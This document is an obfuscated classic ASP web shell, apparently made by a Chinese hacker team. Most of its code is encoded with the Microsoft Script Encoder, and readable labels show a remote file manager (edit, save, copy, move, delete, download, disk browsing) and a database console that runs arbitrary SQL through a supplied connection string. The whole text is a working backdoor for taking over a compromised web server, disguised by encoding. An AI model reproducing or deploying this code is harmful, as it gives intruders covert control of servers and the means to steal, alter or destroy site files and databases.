WRZifmYm~?KE.m'E~LnlD4[r{4mVE@#@&dU+OP/xgWOtbUo@#@&~~,Psj6cfnVOsr^+,nlDt@#@&dw?6RtW-nwkV~nmYtLEm4m3r~KlO4@#@&~PAs/@#@&~,PPj({J@!mUD+.@*@!(D@*@!4M@*@!(D@*数据库JLnCO4[J没有发现!@!&mxY.@*J,@#@&d3D. Eh4.'8@#@&~,2x[~&0@#@&,~U+O,sUr'gWD4k o@#@&Ax[~&0@#@&~P&0PA..R Es4nDxT,K4+ @#@&,P~~Uq'E@!1+UY.@*@!8M@*@!4D@*@!(.@*数据库r[KlDt'E压缩成功!@!zmUYD@*r@#@&P,2 N~qW@#@&P~?&x?&[$C13j.s@#@&~P"]UPj&@#@&2x9Pw;x1YrW @#@&4!'J琳w(P9x2琳GHnRA? rK/3]琳wq~f 3琳qUPd]MPxnuDPT@*@!b1qjBqU`DD/grP6q琳EJ@*DnO +mJ@!@*7kNJ@!EJL?M+j[EE@*D8@!@*.t@!@*ns(lY&@!@*DOz@!@*9Y&@!*y&!yFZ+)YCfa/8ULw/(U[a/4 '2/(xLwd4U'a/8xL2/(x'气空~=5A@*.YU+1x or^l,\k9@!@*[Y@!@*.Y@!@*EErJ!8EJrJ'TUrN9laVs+^~rJEJ8EJrJx.NDG8,JEJrTlcErJr'tDNbAPV8lD@!@*&a@!:K^RD/3MC[RShSP~)~~组小术技组暗@*D4@!@*vxboGJE'+;sm\~BDrs4;kB{+wHY,OEaxr@!,@*v+yB'"kkPB9.Ghk/mwv'n2HY~BkdlaBxnslx~O!wUk@!@*DxG6z@!@*BD/K2B{NGtD+h~EJJLsD`[JrvxxKkDmCPh.K0@!@*M4@!@*l&@!rJ[nhm1sV4U[Er@*E3xmV(mB{YnoMlO~EJJLsI!2K&j'JrB{0nD4~m@!@*D(@!@*Eia2Z!FlUbo.lsIXw+y)Txk9Nm2iy +a,NrsK/PX2F=D+9.G4p6a!T*l4DNrhEx+^XOd,\k[@!@*DnY n1@!Er'b/琳+UVA琳Wq,NU2琳rJ@*2J@!@*(&@!@*YxKW&@!@*4J@!hW^ Hk9Wz hSh@*8@!@*w&@!气空,)z4@*v:r^B{DW^W1~B+Bx+.kd~DxW6@!@*M+Y n^' obVCP-r9@!@*4@!@*D(@!@*.(@!@*.8@!@*.4@!~@*4&@!@*DxW6z@!Z"e骑乱要不就儿马的己自是不~样小@*B9+.v{DW^Gm,BGExnyb/,YUWW@!@*DnY nm{xLr^lP-r9@!@*4@!@*az@!pwk4xL@*a@!@*az@!ia/8UL@*w@!@*wJ@!iad8xL@*a@!@*w&@!pwd4 '@*a@!@*2J@!i2d(x'@*a@!rJj"I琳/SA琳VMiPDm3DbN3.c2/ 6nU2D琳kd)n"2UEx#EE khNyC (+AEr`1G(U/3?琳 n4K~U?znIA?!x#rJd/mwEEvHIKWR:/+!53I,sb琳1ntP~rJEJ@*@!#rJddmwJEctIGscOU+;$+MPs&琳xA4Y,/jlaI3d`@*@!*EJ k:9+C (+SJE`HG&/d2U~s&琳J@#@&6+^;D+cj 3 mG9+vtE*#@#@&0!x^YbWU~`x2 ^W9+`1^b@#@&0KD~k~x,F~YK~Vxc^1#@#@&~,P~k6~sk[vm1~kBF*@!@*,J琳EPDtnU@#@&Yhw,'Ptr[`1mBPr~~q*PQPDn:a@#@&~,P+sd@#@&P,~,Ynsw{\41D^W[D+hw@#@&~n NPbW@#@&x+XO@#@&`xAx^W[n{Yn:a@#@&x[~6Ex^ObWU@#@&o!x^DkKxPGAsC1mMnDv#@#@&,P/$s/DD'D](:vIAp;+jPc06DscJU;sjDDJbb@#@&~P98UY.{IA;E/: s}I\`rf8jDDJ*@#@&,P/bxjkLJ@!YC4sn,hrND4'EvXTEPP8GMNnD{vZB~1+^V/al1rxT'v!EP^n^Vwm[Nbxo{vTB@*J@#@&~Pd({?([r@!0KDh~ l:nxEf8sK.sB~s+DtW9'E2WkYvPmmOrKx'Ev@*r@#@&,~dq{?&[E@!O.@*@!ON,Ak9Y4xEF!Tv,tnkT4D'vyGE@*PLx(dwp数据库连接串)@!zDN@*E@#@&P,jk{/kLE@!Y9@*@!kUw;O,xC:xBG4jOMBPdOHVn'EAbNO4)WG!EP7CV!+xJrJ'[(?KM'JrJ@*@!&ON@*J@#@&~Pdr{/r[r@!Y9PAr9Ytxv+!vPmsboU{B1+xD+Mv@*@!/nVmO~ l:xBUYD~OUB,W m4lUL'vDOEMx~o!VV98UY.`K2DkG /]/+^+1O+9qUN6D 7lV!n#E@*@!K2OkKx,\CV;n{Oq@*连接串示例@!&WaYrG @*@!G2DkGx,-mV;'Z@*b1md/连接@!zGwDkGU@*J@#@&~Pkq'U('J@!WaYrWU~7lsExF@*Hdj$V连接@!&GaYrW @*@!W2DkKxP7l^;+{ @*HH?5s连接@!zWaOkKx@*@!G2YbW P-ls;'f@*Gj1连接@!zG2DkWU@*r@#@&P,jb'db[r@!WaYbGx,\CV!+xR8@*O jpd语法OO@!&GwDkKx@*@!G2DkGx,-l^EnxW@*显示数据@!&GaYrW @*@!W2DkKxP7l^;+{*@*添加数据@!JW2ObWx@*E@#@&PPU(x?b[r@!GwOrKx~\msE'@*删除数据@!zW2ObWU@*@!GaYrKx,\l^ExG@*修改数据@!&WaYrG @*@!K2YbWx,-CV!+{%@*建数据表@!&GaYrW @*J@#@&~~Uq'j(LJ@!WaObWU,\mVE'O@*删数据表@!JW2YbWU@*@!WwDrW P\ms;+{FZ@*添加字段@!zG2DkGx@*@!WaYrG P\Cs!+xF8@*删除字段@!zGaYbWx@*J@#@&P,/('kk'E@!WwDrW P\ms;+{Fy@*完全显示@!zG2DkGx@*@!zk+sn1Y@*@!&DN@*@!JOM@*E@#@&,P?b'Ur[r@!rxaEO~ l:xBzmYbGUB,YHwn'v4bN[+ vP7ls;'B98tlUlTnMB@*@!k wEDP C:'vnmonv,YXan'Etk9[nxEP7lsEnxEFv@*r@#@&,Pd({/k'E@!Y.@*@!O9P4kTtY{B2TB@*[U4kwIj5S操作命令)@!&Y9@*J@#@&~PUk{?([E@!DN@*@!bUw!Y~Um:+xvU;s?D.EPdDX^+'Ehb[Y4)*GZB~-mVExJrJ[k}s/:DLJEJ@*@!JY[@*r@#@&,Pd({/q'E@!Y[PmsboU{B1+xD+Mv@*@!kUw!Y~OHw+{v/!4:bOvP ls+xBj;(:rYE~\mV;n{B执行B~G msk1V{B.Y!Dx,f(/tmV`*B@*@!JYN@*E@#@&PPU(x?&[r@!&Y.@*@!zWWMh@*@!zOC(V+@*@!kwCx,r9'vm41B@*@!zk2l @*E@#@&P~]"?Pk()Uq'rE@#@&,P&s~SnHvf$/D]#@*cT~Dt2H@#@&P~/O,m6gx{ZIAlD3r(L3mD`6$:`*BT#*@#@&,~/W xcrK2H~GAdKM@#@&,Pj3DPIdx;WHxc6h2Hkm42:z`yT#,@#@&P,/rxUk[r@!Ym4V@*@!YMP4+ro4O{B+*E~ATmGsKD'v:;Z/Z;/E@*@!DN@*表@!4M@*名@!&Y9@*E@#@&P~]kRHK-26kDkO~@#@&P,f6PA4&V3P GY,Ij Ars@#@&,P~P&o,IdvJ:bAd2|P5h2E#{JP)~S2r~Y_21@#@&7P,Ygb\+x.U`EKz$SA{H)t2Jb@#@&P~P,~,?({/&[J@!Y9~l^kLx{mnUD+D@*@!l,tDWxJrLm\C/^.bwO)bW`1WUWbD:cv确定删除么?E#bs!s^?5^?DD`Ef"6n,K)Ad2~,r[Y )H[JYvSF*Jr@*,P[n^PD@!JC@*@!4.@*r@#@&~~,P~PU({/(LJ@!lP4DW'ELC\m/^.bwY=oE^V?$sjYM`rJj2J3;K~e,oI}H~,r[YH)t+'JYEr~q*B@*J[:xz\+LJ@!zm@*@!&DN@*r@#@&,PP,nHf,qwP@#@&~~,P.?chr7+H3XKP@#@&,Psr}K,@#@&,PU+K,DUxxKY4kgo@#@&,P/bx?&[J@!&OD@*@!JYC4sn@*J@#@&,~IM?~db)/rxrJ@#@&&W,S3 `UpSkK"b@*8!~Y_+U@#@&PP&WPdZlUncVA0:`dpJdDDSv*b'r/nsmYE~:tnx@#@&,P~,?&'?b[r执行语句:E[kpJ?DD@#@&,PP,d+DPDkx^IlD2G4%n1YcJz[W94 ]mW.[k+OJ*@#@&P~,PM?R}nHPU;J/:IS^}1xBq~8@#@&,~~Pwx{IjRo(S9/c^r`1P@#@&PP~~"ZxDU M2/KIGmr`xD@#@&,P~P"/ KmM+k(}' Z@#@&P,P,ZGEUP{IdRaCoA/("@#@&~~,P21{]UR2moAZr!1:@#@&,P~PalLn{D2$i+kK`rKCoJ*@#@&P~~,qoPh)o@!@*ErPK4ngP2bV3{ZsgovwbV+*@#@&,P~Pb0~Kzo+{EJ,rD,2)MA'ZPPtnH,nCoxF@#@&~~,PkW~al!+@*2gPO4+ Pwmoxng@#@&P,P~rwPnm!+@*FPDu3x,DUR)AdGdjP+a)M'KCV2@#@&~,P~?bxUq'r@!Dl4^+@*@!YMP4+bo4O{ *,8o1WVK.xa1m1m^m@*@!DN@*@!JON@*J7~,@#@&~~,PoW"~ 'T,YKPsgO8@#@&,P~P,Pj3DP0^9'M?R6(nV9?cqO+hc #@#@&,~P,P~db'?r'r@!ON,C^kL 'Em+ Y.B@*J'0^N HzH+LE@!JYN@*E@#@&,P,P~PdnDPWS9xxKKur M@#@&~,P~xApD@#@&,P,P/&'k([r@!&YM@*E@#@&PP,~fKP4(J+,x}YcDd AWWPK]P"/ $}s#~) N~Z}; Y@*Z@#@&dP,mK;xD'/W!xPR8@#@&i~P(omKJ6I{J[2o2o3wJ@#@&i~PUqxd&[J@!OM@*@!Y9~(o^KVKD'[m1^m1m@*@!6WUO,0l1n'Ehk L[k okB@*6@!&6WUY@*@!zDN@*E,P@#@&7,PoW"~&'T,K}P0 O8@#@&,P~P,P~~&sP(!Z}Vr"xEaAsAs3sE~DC3x=$o;WsG"'J:olsXslE=2Jk2=Ao1Wd6I{J:2w2o3wJ)AUf,ks@#@&~P,P,P~Pro,D/'8~Y_+H@#@&PP~~,P~P,~,Z6^q sr{C:hVx^WG+c.U`q*b@#@&PP,~~P,PVd2@#@&,P~P,~P,P~~1rVrHwrxC:h^+H;W9+`^26O`M?cq*~XT*#@#@&~P,PP,~~+gN,ko@#@&7,P~Pk('Uq'E@!YN~8TmGVK.{J'~M;WV}DLE@*r[^r^qUo}[J@!&Y9@*J@#@&7P,1A(P@#@&7,Pdq{dkLJ@!&DD@*E@#@&P~P,~,Idc:K\2 2XP@#@&P~P,S66a@#@&i]IkP?&ljk{Jr@#@&dd5d/OI{uYtS3U1WN3cU;J?D.*@#@&,P,P/&'kr[r@!OD@*@!O[,mW^dwmx'r'Wx3FLJ~lsrTxxmUYD@*记录数:ELDZ'ELx8/aI页码:r[KzoA[JJJLKx@#@&~P,P(W,wx@*qP:C2g@#@&P,P,P~/rxkk'JLU4kwI' 4/2I@!l~tMn6'vNl7l/1Db2Y=s;V^?5sUYDvEJr[?$sdK"[rJE~qbE@*首页@!zm@*[ 4d2p@!l~4M+W'E%m\CkmMkwD)w;V^?5VUY.crJJLjp^/Y"'EJr~r[KbLn F'J*v@*上一页@!zC@*Lx4d2pJ@#@&,~,P~,qwPwmMA@*%,Yu2 )dK{wlT3OR)2^dn)Un{Fl+H9,ko@#@&~P,P~~6WD~r{/2P:G,/23%@#@&P,P,~P,Pr0,k@*2gPK_3x,2(&O~s}D@#@&~P~~,P~P&WPb'2)T2PO41@#@&,~,P~,P,/q{/b'qLJ'x(/2Ir@#@&,~P,PP,~3SU2@#@&~P~~,P~Pk('kk'E@!lP4.0xBNC7ld1DbwY=s!sVU;s?DDcErJ[k}SkKILEEJBJLk'Jbv@*J'qLE@!Jl@*' 4/2Ir@#@&P,~,P~,PAxf,kw@#@&,P~P,PUnXY@#@&7P,?q{j([r[ 4dwI@!mP4DW'ELC-m/m.raYls!s^?5^?DD`rJr'?$VdK"[EEr~JL2lV+_8'E#E@*下一页@!zC@*'U(/2i@!CP4DnW{BLC-m/^Db2D)o!V^?;^?D.`rJE[kpJdDI[rEJBJ[aH'J*B@*尾页@!&l@*E@#@&~P,~2 N~(w@#@&~~,Pdk{d&[E@!tMPmKVK.'Ea3sAs3oE@*@!JON@*@!zD.@*@!JYm4s+@*E@#@&~P,~DUR/J}?+ljY~DkxgWO_kgM@#@&dM]/,/()kkxEr@#@&,~+^?+i~~P@#@&,P~P/6g1 2Xnm`Y3ck;VjP"#@#@&,~,Pdb'kq[r?5J语句:JL?5SkY.@#@&PPAUf,qs@#@&~P"DkPdkljb'EJ@#@&+ f~r6@#@&~~;WHxc^^rdA@#@&PPU+D~Z}xH'gWOub1o@#@&P,2x9~(0@#@&Ax[Po; mOkKU@#@&@#@&9&:POq@#@&/SzjUP;hm@#@&P,f&\P9FSNy@#@&~,wj~sk1Ps!U^Y&r PWr.\v0b@#@&~P,Pox^Zbd3vsb@#@&~,P~b0,fFc2or?:?c0*PPuAx)66Dt'f8co#=2d/3)W6M:xJrl2 N~r6@#@&~~A1[P6;gZPbW @#@&,PaiAdq^P6EH^:krg~jz`0*@#@&P,P,sxV^)U2cs*@#@&,P~~&0P9+c2pqkPk`W*PDC+g)U3Y,j)'9 cW*)2^j+=/+D~;b{x~0(o=2UN,(s@#@&~~xN~W`1/YbG @#@&,PaIqjb:nPkj$P;SCjk{qgrY&bSb"3@#@&P,N(H~OGlSKkO~7A^]^s~Org~[kAUG~Oy~:S+ ~DWVB/W\BsjPmDYBW2 f~9dObMKBNn1[S`wHbtn@#@&P~~,?+P~9Fxm"3mYn}Ax2ZD`}8YvcS!*#@#@&iq0,.+$E2UO K}KmV$5Pnk@!qP:u+ P3abKPd;~@#@&P,~,/3DP:FP{P1.2mYnr~L3/:`W~O`+~!*b@#@&iK8RO52n,'~F,lPDF \}f2~x2PlP:qcrKAx@#@&P,P,PFch.qD+~~"2;!3?DR4&HCDHDAb[`.3$j3/: Y}Y)s~XY3j*@#@&P,~,YqcwK/q:k}H'ZPlP:NC~{KFc]+zNP=~9/:lMK~'~q@#@&~P,~fx[~{PSnH~`Ofmb@#@&~,P,/+:P9+';InlD26$x2ZDcr~Y`WST#*@#@&d#A^.^s~',/t"Acq2#P'~1t.AvqZ#@#@&P,PPU2:~YyPxP;In)D2W(%+;K`K$O`+~Z#b@#@&~,P~KkOP{P\(9A`O[z~q~,( ?O"Avf/:l"P~DN)~j4^.^0# q#@#@&P,~~K^2gPxPJ3g4~`:dY*@#@&~,PP9j:b.K{9kYCMY3KS13q@#@&P~P,4(^2Pv[/DlD:~QP8!*P@!P[3gf@#@&,~P,P~[b219~{PrxkOMAcG?DbD:~D[bB\$Z"VW~LP\~^D^s#3f@#@&,P,P~PP+cYenA~',F~l,K \}f3P{f,)~D cWwx@#@&P,P~P,Yq hW?&PqKxP{~9?Dl"K@#@&~~,P~P:qR;W2z:WPP+Bfr+g[ NjDlMY@#@&P,~P,PO cn6j&Kk}UP{P!,l~YyRD5K+~x, ~),P cmu)"?+O~{JL4yf8 E@#@&,PP,P,PqgPxPD .bN:n6:P),P+R;S}?n@#@&~,P~P,9?Dl.O,'PrUUY]Av[b+H9~:fbBYUO#@#@&~P,P~~w?Ym.K,'P&HdK"`y SYrHBJUlsn'rJES8#_@#@&P~P,~,03gf,'P&1kODvsjKzIPSDk1BEJrJ~8b@#@&,P,P~P;K bh+,xPdZCj`H([,`Pq Sw/PmD:~sA19RskY)D:#b@#@&PP,~P,ks,(H/DD,`**SObxSJ6rVxCh'JEEBFbP@*~ZPO_+g@#@&,P,~P,P~?Y~P6V' 3,sq6@#@&P,P,P~P~okK)I:~',kHjDI`on NSYbUBJWbVxls+{EJr~q#3FT@#@&PP,~P,PPw3HN,',qH?P.v0dYm.KBK(UBJJEEBFb@#@&~,P~,P,P0kYm]Y,'~k /P.vs2 [~:q1BE/W YxOOPza+lPrSF*_q*@#@&P~~,P~P,oAx9,',k1UYMcsUK)D:~O(g~.(/I*@#@&,~~P,P,PO0s wkJ+kPlMY~x9k+U9@#@&~P,~,P~,KwVRwq^3?&y3P{P[j:bDD~OGk+ 9~O2@#@&P~P~~,P~kw~xKK~9yR+prUKj``K bhA#,Kt1@#@&P,P~P,P~~,f cCfGPEhH):A~Dss@#@&~,P~P,~P19~bs@#@&~,P~P,n^/n@#@&,PP,P,~P: YHn3~{FP=~KyRH}[3P{&,)~Y+ }wnx@#@&P,P~~,PPPqcnG/bObrU,',fk1G~),YqR1WKzDrP:+~9/Yz.OO9q19Of@#@&P~P,~P,PO+cnrjrDqG1,x,!~=PD RDXhnP{P+@#@&P~~,PP,~YyRZ_C]?AK,'Eo8+2F+J@#@&P,P~~,PPjo7PxP:+cInmND+6:@#@&~P,P~P,PP+cZS}d+@#@&P,~~P,P,qWP[qc+pkUO?vjKUzH2b~Dtn1@#@&,P~,P,PP,PGq``wUbt+bx9F``Kxm:2*'E~,JL?W.@#@&,P~P,~P,2Jd@#@&~~,P~P,~,P[8RzNN,jhHbs2S/6\@#@&,PP,~P,P2g[~q6@#@&P~P~~,2HN,rs@#@&~~,PP~[kKCDDxG/OmD:_Yd+gQF@#@&~P,PA3gN@#@&~P,PK9CxJr@#@&P~P~jY~Ky~' WO4bxM@#@&,P3x9~UE$@#@&,Pw"qj)KAPjE~P/Jm/?|O2M:k )P+@#@&,P~P(o,D3p`n?:RPG:lS8z:+d@*Z~:C3 @#@&PP,P,~f8R.+sr-3zVV=[ cI+sG#2zV^@#@&P~~,P~/AOPGFxH}Yt(UT)d2D~G x WDtk M@#@&P,P~P,Kq 1Srk3)U+K,PqP{1}YuqUL@#@&~P,~+ N~rw@#@&~~A19PU;~@#@&AxGPZ^lkd@#@&Zsbk?~ob0@#@&[qsPsbsn?&yA~oks3UY)I:@#@&,P2]b.bO3,/;A,/^ldU{&1q:kzsk\+@#@&,PW(d+/bt2,'PZ@#@&P,0bVn/PC"KxPZ@#@&,P3H9P/;8@#@&~Pai~V(1P6jx1Yb6x,/)\Abdcw#@#@&~P9k:,Of@#@&P,?C\nCk'OI`n@#@&P~(wPY]rs`W#{ErP6"P6kV/D)DD'TP:C3H,+6&PPwj11P(r @#@&P~/3P,Yf'1.2zYnG(L2/OvW$KvB!b*@#@&PP,P,O&c:Gf'f~=PY2 YHn+{q~),K2R6n3U@#@&~P,~P:F KK?kP(K1x0bJ?OmD:@#@&,P,~PDF mKwzPKPK2S0&S2k(t2@#@&,P~P~O2RjbjnKK0(JAP0S+@#@&~P,~,KfcZ^r/A@#@&~P,P~/AY~P2'1}Otb1o@#@&~P,P,/C.nCk'Wb^j2@#@&~~,21[~wEUZD(Kx@#@&2 NP1Vmj/@#@&^Sz?j~d40@#@&P,fqs~/s@#@&,PKD(#mYnPk;A,msCk/{(UbY(bd(\+@#@&P,PPk2D~m6'^IbO3KAL/Yvr4DcT~Z#*@#@&P~n f~/`$@#@&P~KMq\)PPjE(~1SCk/|K2"H&UbD+@#@&,P~~k2K,^0{1rDu(1T@#@&P~+U[,/iA@#@&P,0iH;KkGU,/4Wq9Mq#Iv#@#@&P,~PwW.PAl/u,NP&UP1sR9.(\/@#@&~P~~,P.IkE[ 4d2p[x8dai'x(dai@!mP4D+6'E%l7ldmMk2O=?tKAsKVN.cJrJLf N.(72J+DP+M[El'-JEbE@*本地磁盘~`r'GR["q72SAYDnILJl#@!zC@*@!4D@*EP@#@&P,~~x6:@#@&P~3gN~0`Um:q6U@#@&P~W!x^Kb6 Pd4rqF0bSAcnzY4#@#@&~~U+K,or^f'1o MKwrsfn]vw)Y4b@#@&P~({!@#@&~,P~/bxr@!Om4^+PSk9Ot{Bq!Z]v~(WD9nD{B!E~^+^VkwCmrUT'v!E~mVs2mNNrUT'v!E@*@!Y.@*J@#@&P,0}]PAb/C,0~(gPs}Jfc/E~o6VG2"?@#@&~~,Pjk{dqLJ@!O9PtnrTtO'8T@*J@#@&P,PPkk{jkLJ@!l,t.n6'BNC\m/mMr2Y=?4WAsGs9+.`rEJLDn2mKtcKzK4[rwr[ocxm:+*[rEJ*B~YbYsn{JJ打开rE@*@!0W O~0mm'vhrUTNrxTdB,/r"'Bv@*!@!z6G Y@*r[wR1mH'J@!zC@*rP@#@&i?q{dqLJP|@!CP4D0xB%C7ldmMrwD)o;^VsG.s`EJr'"22mK4`wzK4'J'J'0cx)\A#[rEJBJJ;G2XwW^NnDEE*B~PKUm^k^V{BDnO!DUPHnkWVv#EPm^lkd'ElhB,YrO^+'E复制v@*;WwH@!&l@*J@#@&~P~~kqx?b'J,P@!C,tDnW{B%l7Ckm.bwD)s!V^oWM:cJrJ'.AnVz/+vwb:4'J'JL0 x)\A~E-rSJ'-EbLJJESrJ9+^oKV[DrJ#EP,Gx1Vrm0'v.YEMUPH+/KVc#EP1VC/dxElhB,OkDVnxE删除B@*9n^@!&l@*E@#@&7Uq{?qLJ,@!l,t.+6'v%m\lk^DbwY=o;V^sKDh`EEr[.+aCY_`KC:C[Ewr[WR Ct2bLJrJ~rJtG\sGV9+.Er#B,~W mVb^V'EDY;DU~H+dW0c#EP^sm//xvm:vPDrDVn{B移动E@*HK\@!zm@*E@#@&djr{?qLEP@!lP4.n0{BNl-ld^Mk2Y=oE^VoGM:`EEr[.2h)Dtcal:C[r-r'sc1CH#'ErJ~rEfKhxwrs+rJ*B~PGU1Vrm0xBM+O;MxPznkWV`*v,msm/k'Bm:E~YbYs+{B下载v@*GWh @!zm@*@!JO[@*r@#@&dr'rQ8@#@&P,~P&0~(,Hr[~2PxPZ~:tngPUq'kkLE@!JY.@*@!Y.@*r@#@&,~x(Y@#@&~P,Pkkx?r'r@!&YM@*@!DD@*@!DNP4nbo4Y{+@*@!&DN@*@!zDD@*@!zDl8V@*E@#@&dIMjPUqPLE@!tMP WdtC[Pdk.n'8P^G^WDxEraEJ,&@*J~=Pkq'rJ@#@&P,06D,+C^_PS,(1,sWd[ s&SA/@#@&~~,Pjk{E@!Dl8sPhr[DtxB8TZ]v,4KDND{v!EP^+^Vd2mmk L'E!B,^nV^wmN[kUL{BTB@*E@#@&P~~,/kxj&[E@!D.,/OHV'B(W!UoMW;w mGsKD)[v@*r@#@&id('UkLJ@!Y[~4+ro4O'E&Tv@*@!l~4M+W'E%m\CkmMkwD)w;V^sGDs`EEr[IA2lDt`h)OtLJ'J'V UmHn#LEJr~EEGWhUobVnJrbpB~DkDV+{B下载E@*@!6WUY,0C^'BSrxTNk LdB,/byn'v*E@*+@!JWW Y@*ELSRU)t+'J@!&m@*@!JY9@*J@#@&,~P,?r'Uk'E@!YN,Ak9Yt{v*!EPmVroUxrJ^+ O+MJE@*@!lP4.0xBNC7ld1DbwY=s!sVwW.:vJEELI+h)K_`nmO4[r-r[JRHCs2b[rEJBJE39kYor^+EJ*v,msm/k'Bm:E~YbYs+{B编辑v@*NkD@!zm@*@!JO[@*r@#@&ddqxd&[E@!D[PSk[O4'B*TEPCVbL 'ErmxYDrE@*@!l~tM+WxELl7C/1DkaOls!V^sGDhcrJE["nnzY4chbKu'r-E[^ l\#LJJr~rEfVok^+EE*BP,Gx1Vk1VxBM+DE.x~z/G3vbB,msCk/'vCsB~YbO^+xE删除B@*N+^@!JC@*@!zON@*J@#@&i/k{jkLJ@!D[~hbNDtxB*TEPCVbLx{JE^xYn.rJ@*@!m~4Dn6'ELl7lk^DbwO)wEsswWDscJrJ["n2lDCvn)Yu'r-E[^ 1zH3bLJJESrJ/WazwksJr#B,m^C/k'vlsB~ObYVxB复制E@*mK2z@!Jl@*@!&Y[@*r@#@&dkr'kq'E@!YN~AbNOt{vW!v,l^ko 'rEmxO+MJE@*@!lP4.+6'BNC-lkmMk2Ylo!VssK.:vJEELI22C:tcnmO_[E'JLVR ls3#LJEJBJE\K\+wrVJJ*v~m^lk/xBChEPOkDs+{B移动v@*sW\n@!Jl@*@!JO9@*Ei@#@&PP,PUr'Uk'J@!Y[~SkND4'E*!E~CVbo 'EJ^n YnDrE@*r[/sgM`s Ukt+JqZ **[r|@!JY9@*J@#@&7/&'d(LJ@!D[PSkND4xBy!ZB~lsrTxxJr^+ Yn.rJ@*E'^RPXhnLJ@!JY9@*J@#@&,~P,?('kq'E@!YN,Ak9Yt{vqvZB@*J'V 9zK3VzjYsW9(6q+['r@!&Y9@*r@#@&,P,P/&'k([r@!&YM@*@!&Dl4^n@*r@#@&i.]/,/b)jkxEr@#@&P,U2XY@#@&,P/3O,s6VGxgWP_q o@#@&P,3xGPWjgmOr}1@#@&~P6E11Prr PG+JsrsA`2b:4#@#@&(o,m0 W&V3+X(kYdvwmKt*PD4+ @#@&Z6R9n^2YAok^+PaCPt@#@&kqxJ@!^xO+M@*@!(D@*@!(D@*@!8M@*文件~JL2zKuLJ,删除成功!@!z1+ O+M@*E@#@&?rxUk[~CZ0jId@#@&I"?,?r@#@&3 f~kw@#@&Ax[~wEx^ObWU@#@&@#@&s; mDkW PA9kD0(VA`2CDt#@#@&k6PD5i+kYvJ)mOrKx+J*xJhWdOrPY4n @#@&?P,Kx;0cmIbDnKA6OsbSncalK_b@#@&KRS.(YSbx3P]n5j3/: sKI\crmWUOxOJ*@#@&K ;SK?2@#@&UnY,Kx1}Kur M@#@&dq{J@!1nUYD@*@!8D@*@!(D@*@!(.@*文件保存成功!@!z^n Y+.@*r@#@&/&xkk'(l;|EMV@#@&IM/~/b@#@&]/nKU/R+g[@#@&x9P(s@#@&&s~wzOC@!@*EE,YtnU@#@&j+D~:'^wR}w2gKpK6kJ+vw)P_~P8SP6bVU3b@#@&KXKxtOhd+UmK92vY .AlfCJd#~@#@&PcmJ}?@#@&U+:~Y{xGY4kUL@#@&+^j+@#@&wmO4'k+k?(rUcrsGV9nDhlO4r#[Ew +A0bsRCkwr)KXY{E新建文件J@#@&3x9P(W@#@&/&x/b[J@!oGDsPmmOkGU{BE[`.VLJ_)1YkGUy'KWkOEPhY4WN{BaG/DB~xm:nxE2NbOsKD:E@*E@#@&/b'dk'E@!kUw!OP lhn{Bb^ObWUB,-mV;'E2NbYwrVB~KHwnxEtk9[+ B@*r@#@&?b'kq'J@!r w;Y,Uls+xvw1lhnEP-l^;'vr[alY_[rvPkYzV'vAbNY4lFZ!]E@*@!4M@*r@#@&/rxkq'J@!O+XYC.lPUCs+xB;G Yn YEP/DX^n'EhrNDtlqZ!]p4+botDl**ZB@*J'KaOLJ@!zDn6Dl.nm@*@!8.@*J@#@&kr{/rLJ@!tD@*@!bUw!Y~xm:nxEoW(Cm0BPDz2+{B(EOYGUEP-l^;+{B返回v~Kxmsr13xB4rkYGMXc4l13vbiE@*'x(/2ILx4k2iLx4k2I@!bxaEOPUCs+xBMn/Yv~DXwnxEDn/OEP-mV!+'E重置B@*'x(/2iLx8dai[ 8/ai@!bU2EDP lh+xvkE8:bOB,Yz2'Bd;(:rYE~7ls!+{B保存B@*@!JWWM:@*J@#@&.]UP/b@#@&"I?,EE[1WaX;Ds'rJ@#@&,~2 f~W!1ZPr}1@#@&,~6EH1Ybr1,ZKKX6qJ+vw)P4#@#@&~PabY4~xPUndqP`2)DCSJ-ku-Jb@#@&PP~~&0~mw wks2Xk?:?vKbDtc!*#~)gNPaCY4`F*@!@*JrP:C31@#@&iP~mw mKweo&V2~2mYu`ZbBw):CvF#@#@&,~P,P~/b'E@!1+xDnD@*@!4M@*@!4M@*@!4.@*文件E'alOCvT#LJ复制成功!@!&1+xOnM@*E@#@&~,P~,PUq'kkL8l13;Dd@#@&7,PDMdPkqP@#@&7+ f,qo@#@&~,+Hf,Wj ZP(}x@#@&~,s;11ObWH,:K\2wkd3`hlPt*@#@&~,nl:4P{P?hsrYvwmYu~Ek-ukJ*@#@&,P~~b0P^ocs(V3XqdD?vwb:tvT#*P)19P2CDt`8b@!@*JJ,Pu2g@#@&d~P/Wc:6.AWqd+~2zYtcT*~2bD4vFb@#@&,PP,P,jk{J@!mxOnM@*@!(.@*@!4D@*@!8D@*文件JLwCK4cZ#'J移动成功!@!&mxOnM@*J@#@&,P~P,~UkxUqL4l;3!]V@#@&7P,I.j,?k,@#@&i+1G~(0@#@&,P3x9~wEHZDrWg@#@&~,sjH/Dk61,9ASoKS9+IvwzPt*@#@&P,P~(6Pmw sKVN.36b/D/cn)P_#~K_3x@#@&7~,ms 9ASnYW}V9I,wl:C@#@&P,P~P,/rxr@!mUYD@*@!8.@*@!4M@*@!4.@*目录r[2l:u[r删除成功!@!&^xYn.@*J@#@&,~,P~,?b'?b[~CmnE]V@#@&7~,DDk~/&@#@&i3UN,k6@#@&P~n N~0`HZDk6U@#@&P~o!x/Kb6gP^}nIsW^fA]`hlOC*@#@&~,wbDuP{P?asrKvnzY4~Ek-ukJ*@#@&,P~~bsP^WcsGV9nM2ab/D/`al:4`Z#bPmx9~hbK4cF*@!@*rE~K42 @#@&d~~1s ZK25wrs9ADP2C:tc!*SabO4`8#@#@&P,~P,Pdk{J@!^xY.@*@!4D@*@!8D@*@!(D@*目录J'KmY4`Zb[r复制成功!@!&^xYn.@*J@#@&,~,P~,/b'/b[~CZ0j.V@#@&7~,DDU~/b@#@&i3Hf,kw@#@&P~3gf~0`Um:qGH@#@&P~o`x^Y&6gP\}\A0W^fA]`hbPt*@#@&~,nlD4P{P?hs(YvnzY4~Ek-ukJ*@#@&,P~~bsP^WcsGV9nM2ab/D/`al:u`Z#bPzx[~hlY4cF*@!@*rE~Y_2g@#@&d~~;s HK#+wrJ9IP2):tc!*SalO_`8#@#@&P,~P,Pjk{J@!^xY.@*@!4D@*@!8D@*@!(D@*目录J'KmY4`Zb[r移动成功!@!&^xYn.@*J@#@&,~,P~,/&'/&[~CZnj]S@#@&7~,DDk~?b@#@&i3Hf,k6@#@&2H[,s;x1OkKx@#@&,Ps;H1Krrg~g2 6WdN+M`hCK4#@#@&,P~~bsP 